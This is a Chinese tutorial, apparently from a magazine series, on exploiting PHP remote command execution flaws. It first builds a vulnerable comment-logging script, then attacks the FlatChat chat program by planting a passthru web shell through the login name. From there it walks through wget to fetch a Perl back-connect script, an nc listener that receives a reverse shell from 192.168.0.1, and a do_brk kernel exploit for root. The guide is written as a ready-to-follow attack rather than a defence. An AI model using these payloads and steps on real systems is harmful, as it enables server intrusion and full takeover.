文/图 cnbird[H.U.C] 河北泊头杨宁===================================
        不知道大家看了一系列的PHP漏洞挖掘文章后,有了多大的进步呢?是不是已经能够独立开始寻找漏洞了呢?如果大家有了什么好的发现,一定要告诉我啊,我们一起分享成功的快乐啊,呵呵。
        废话不多说,直接进入本期的主题,今天给大家讲解的是PHP漏洞中最高级别的漏洞——远程命令执行漏洞。为什么说它高级呢,相信大家看完以后就会明白了,我们这里还是留一个悬念吧。
基础知识
        远程命令执行漏洞到现在为止仍然是一种很普遍的漏洞攻击方式,并且现有的网络中大量存在这样的漏洞,使用起来很方便,但是后果却是很严重的。它可以以启动IIS服务器或者Apache的权限来执行任意命令,再利用相应的本地提权来搞定服务器。相比SQL注入来说,这是一种更加具有杀伤力的漏洞。
        我们还是像以前的PHP漏洞系列文章一样,结合具体的实例讲解,帮助大家更好的理解。下面我们需要用到2个源程序,第一个是submit.php,主要是用来接收用户的注释;第二个jieshou.php,主要是用来把从submit.php提交过来的注释写入文件。这2个文件的代码如下。
//Submit.php
<form method="POST" action="jieshou.php">
<textarea rows="10" cols="60"></textarea>
<p><input type="submit" value="Post"></p>
</form>

//Jieshou.php
<?php
$comments = $_POST[comments];
$log = fopen(comments.php,a);
fwrite($log, 您提交的内容为::.$comments);
fclose($log);
?>

submit.php主要是利用一个form来提交从用户传递过去的内容,jieshou.php主要接收submit.php传递过来的内容,并且将其写入到文本中。如图1所示,我们已经成功的把内容写入到comments.php里面了。
 
图1
了解了上面的工作原理以后,我们就来讲解一下如何利用这个漏洞吧。从源代码中我们可以了解到,从用户端传递过来的变量都被写入到了comments.php中,那么我们直接把PHP代码写入的话,是不是就成功了呢?在sumbit.php中输入“<?phpinfo()?>”试试吧,然后打开comments.php,如图2所示,是不是很激动呢?果然成功执行了。
  
图2

实战
本次的主角是FlatChat,一个简单的基于文本+PHP的聊天室程序。程序很小,但是小并不代表就安全。下面我们从源代码一步一步地分析,然后进行实战,直至最后拿到Root。
存在漏洞的代码出现在index.php文件中,如图3所示,注意划线的部分就是有漏洞的代码,从这段代码中我们可以看到提交的$name传递到了startsession.php中。我们看一下startsession.php的内容,如图4所示,是不是跟我们上面讲解的一样?
  
图3
 
图4
下面我们就具体讲解一下如何利用。这个漏洞是$name,也就是登录聊天室的名字没有过滤而导致的。我们直接在登录页面输入“<?php passthru($_GET[cmd]);?>”,如图5所示,然后登录到聊天室里,之后再在地址栏里输入“users.php?cmd=ls%20-la”,哈哈,成功了,成功地执行了Linux的命令,如图6所示。接下来的事情就是要得到一个WebShell了。
  
图5
  
图6
我们先看一下Apache以什么权限启动的,不会跟我上次一样又是Root启动的吧?如图7所示,是普通权限的,没关系,我们还可以继续提权啊。
  
图7
再看看wget命令能不能使用,能使用的话,我们就可以直接把comeback.pl下载到/tmp目录了。具体的命令是“wget -P /tmp”,成功执行!用“ls /tmp”看一下是不是已经成功下载了,如图8所示,可以看到已经上传上去了。
  
图8
之后我们在本地用nc监听12345端口,具体的命令是“nc –vv –l –p 12345”,继续执行“perl /tmp/comeback.pl 192.168.0.1 12345”,就可以成功连接了,如图9所示。
  
图9
下面我们就要本地提权了,系统的内核版本2.4.20,一个比较老的Redhat 9.0版,不过在实站中也很常见。我们需要利用的漏洞是do_brk这个本地溢出,利用这个漏洞可以获得Root权限。这个漏洞的基本原理是,Linux内核包含的do_brk()函数是一个内部内核函数,用于间接调用管理进程的内存堆的增加和缩减(brk),它是一个mmap(2)系统调用的简化版本,只处理匿名映射(如未初始化数据),函数对其参数缺少正确的边界检查,可以利用建立任意大的虚拟内存区域,超过用户可访问的内存限制,因此此限制以上的内核内存会变成用户进程的一部分。我们不管这些,把漏洞利用程序下载回来,用gcc命令将其编译,然后执行编译好的程序,如图10所示,就可以成功地拿到Root了。
  
图10
好了,本次的文章就到这里了,因为最近换了份工作,所以时间非常紧张,行文仓促,如有不足之处请大家多多指点